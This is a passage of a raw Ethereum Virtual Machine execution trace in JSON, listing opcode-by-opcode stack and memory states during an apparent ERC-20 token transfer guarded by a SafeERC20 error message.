000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2890,"op":"POP","gas":29445,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2891,"op":"PUSH1","gas":29443,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2893,"op":"PUSH2","gas":29440,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2896,"op":"DUP9","gas":29437,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2897,"op":"DUP7","gas":29434,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2898,"op":"PUSH2","gas":29431,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2901,"op":"JUMP","gas":29428,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32","0x1ff8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8184,"op":"JUMPDEST","gas":29420,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8185,"op":"PUSH1","gas":29419,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8187,"op":"DUP3","gas":29416,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8188,"op":"DUP3","gas":29413,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8189,"op":"LT","gas":29410,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32","0x0","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8190,"op":"ISZERO","gas":29407,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8191,"op":"PUSH2","gas":29404,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8194,"op":"JUMPI","gas":29401,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32","0x0","0x1","0x200a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8202,"op":"JUMPDEST","gas":29391,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8203,"op":"POP","gas":29390,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8204,"op":"SUB","gas":29388,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8205,"op":"SWAP1","gas":29385,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0xb56","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":8206,"op":"JUMP","gas":29382,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x2bda54fce7dbfc916a32","0xb56"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2902,"op":"JUMPDEST","gas":29374,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2903,"op":"DUP4","gas":29373,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2904,"op":"GT","gas":29370,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x2bda54fce7dbfc916a32","0x2bda9a60795e41856a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2905,"op":"PUSH2","gas":29367,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2908,"op":"JUMPI","gas":29364,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0","0x1","0xb63"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2915,"op":"JUMPDEST","gas":29354,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001a4","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001000000000000000000000000000000000000000000000000c50cc66c","adfb704b000000000000000000000000000000000000000000002bda9a60795e","41856a3242116bf4000000000000000000000000000000000000000000000000"]},{"pc":2916,"op":"PUSH2","gas":29353,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0xc50cc66cadfb704b","0x2bda9a60795e41856a32","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000